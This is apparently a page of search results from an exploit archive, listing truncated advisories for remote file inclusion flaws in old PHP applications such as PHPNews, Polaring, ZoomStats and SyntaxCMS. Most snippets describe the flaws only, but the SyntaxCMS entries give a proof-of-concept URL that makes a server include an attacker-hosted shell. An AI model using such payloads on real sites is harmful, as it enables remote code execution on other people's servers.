10005 matches found
BBSNew 2.0.1 - index2.php Remote File Inclusion
BBSNew 2.0.1 - index2.php Remote File Inclusion source: https://www.securityfocus.com/bid/20204/info bbsNew is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. A successful exploit of this issue allows an attacker to execute arbitrary...
Polaring <= 0.04.03 (general.php) Remote File Include Vulnerability
No description provided by source. ToXiC Polaring Remote File Include BuG FounD by Drago84 Application Affect: Polaring Remote File Include Source Code: http://sourceforge.net/project/showfiles.php?groupid=150989&packageid=166837&releaseid=444225 Problem: require$SESSION'dirMain'.'/view/css.php';...
PHP_news 2.0 - '/admin/catagory.php?language' Remote File Inclusion
source: https://www.securityfocus.com/bid/20209/info PHPNews is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected...
Back-End CMS 0.4.5 - '/admin/index.php?includes_path' Remote File Inclusion
source: https://www.securityfocus.com/bid/20207/info Back-End CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected...
PHP_news 2.0 - user_user.php?language Remote File Inclusion
PHPnews 2.0 - useruser.php?language Remote File Inclusion source: https://www.securityfocus.com/bid/20209/info PHPNews is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to...
PHP_news 2.0 - admincatagory.php?language Remote File Inclusion
PHPnews 2.0 - admincatagory.php?language Remote File Inclusion source: https://www.securityfocus.com/bid/20209/info PHPNews is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker t...
Polaring 0.04.03 - general.php Remote File Inclusion
Polaring 0.04.03 - general.php Remote File Inclusion ToXiC Polaring Remote File Include BuG FounD by Drago84 Application Affect: Polaring Remote File Include Source Code: http://sourceforge.net/project/showfiles.php?groupid=150989&packageid=166837&releaseid=444225 Problem:...
Polaring <= 0.04.03 (general.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications =================================================================== Polaring = 0.04.03 general.php Remote File Include Vulnerability =================================================================== ToXiC Polaring Remote File Include BuG...
evoBB <= 0.3 (path) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ===================================================== evoBB = 0.3 path Remote File Include Vulnerability =====================================================...
PHP_news 2.0 - '/admin/news.php?language' Remote File Inclusion
source: https://www.securityfocus.com/bid/20209/info PHPNews is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected...
PHP_news 2.0 - creat_news_all.php?language Remote File Inclusion
PHPnews 2.0 - creatnewsall.php?language Remote File Inclusion source: https://www.securityfocus.com/bid/20209/info PHPNews is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to...
PBLang <= 4.66z (temppath) Remote File Include Vulnerability
No description provided by source. ============================================================================================== Software PBLang = v4.66z temppath Remote File Inclusion Exploit =============================================================================================== Critica...
evoBB <= 0.3 (path) Remote File Include Vulnerability
No description provided by source. ============================================================================================== evoBB = v0.3 path Remote File Inclusion Exploit =============================================================================================== Critical Level :...
ZoomStats <= 1.0.2 (mysql.php) Remote File Include Vulnerability
ToXiC BuG FounD by Drago84 Application Affect:ZoomStats Source Code: http://prdownloads.sourceforge.net/zoomstats/ZoomStats-v1.0.2.zip?usemirror=kent Problem: $GLOBALS'lib''db''path' array not declare Solution : $GLOBALS'lib''db''path' Page Vulnerable : mysql.php Dir Page: /libs/dbmax/ Exempe Of...
PHP_news 2.0 - 'user_user.php?language' Remote File Inclusion
source: https://www.securityfocus.com/bid/20209/info PHPNews is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected...
SyntaxCMS <= 1.3 (0004_init_urls.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ======================================================================= SyntaxCMS PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not needed...ju...
SyntaxCMS <= 1.3 (0004_init_urls.php) Remote File Include Vulnerability
No description provided by source. Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 ?php 2 includeonce $initpath . '/init.urls.php' ; 3 ? PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remo...
Web-News <= 1.6.3 (template.php) Remote File Include Vulnerability
No description provided by source. ToXiC BuG FounD by Drago84 Application Affect: WebNews Source Code: http://prdownloads.sourceforge.net/web-news/WebNews-1.6.3.zip?usemirror=superb-west Problem: ? include$contentpage; ? Solution : Declare $contentpage Page Vulnerable : template.php Exempe Of...
ZoomStats <= 1.0.2 (mysql.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================ ZoomStats = 1.0.2 mysql.php Remote File Include Vulnerability ================================================================ ToXiC BuG FounD by Drago84 Application...
ZoomStats <= 1.0.2 (mysql.php) Remote File Include Vulnerability
No description provided by source. ToXiC BuG FounD by Drago84 Application Affect:ZoomStats Source Code: http://prdownloads.sourceforge.net/zoomstats/ZoomStats-v1.0.2.zip?usemirror=kent Problem: $GLOBALS'lib''db''path' array not declare Solution : $GLOBALS'lib''db''path' Page Vulnerable : mysql.ph...